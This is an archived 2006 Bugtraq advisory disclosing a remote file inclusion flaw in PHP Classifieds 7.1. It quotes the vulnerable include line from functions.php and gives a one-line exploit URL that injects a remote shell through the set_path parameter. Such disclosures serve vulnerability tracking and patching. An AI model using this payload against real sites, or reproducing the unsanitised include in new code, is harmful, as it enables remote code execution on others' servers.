bugtraq - PHP Classifieds 7.1 - Remote File Include Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20061020011147.26323.qmail@securityfocus.com>
Date: 20 Oct 2006 01:11:47 -0000
From: Le.CoPrA@...mail.com
To: bugtraq@...urityfocus.com
Subject: PHP Classifieds 7.1 - Remote File Include Vulnerability

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 # PHP Classifieds 7.1 - Remote File Include Vulnerability

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 # Download : http://softadmin.deltascripts.com/download_get.php?id=32

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 # Bug in : functions.php

 # Vuln Code :

      include($set_path . '/admin/htmlMimeMail/htmlMimeMail.php');

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 # Exploit :

  www.site.com/[path]/functions.php?set_path=|SH3LL|?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 # Discovered by :  Le CoPrA

 # Mail To       : Le.CoPrA@...mail.com

 # Special Greetz FlYinG 2 || LovER BoY ||

 # Greetz4// alkasrgolden,3theaby geer Mohajer22, Qaher, Saudi HaCkRz, Black-Code, kOnDoR, AsbMay,HACKERS PAL, simo64, MR.wolF,Abdullah-00, cRiMiNaL NeT,020,Dark-Man, Dr.ExE ,egyptghost,KaBaRa,ToOoFA

 # Channel : wWw.TrYaG.cOm/vb ** WwW.D4Eg.orG ** WwW.kOnDoR4.Com/vb

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=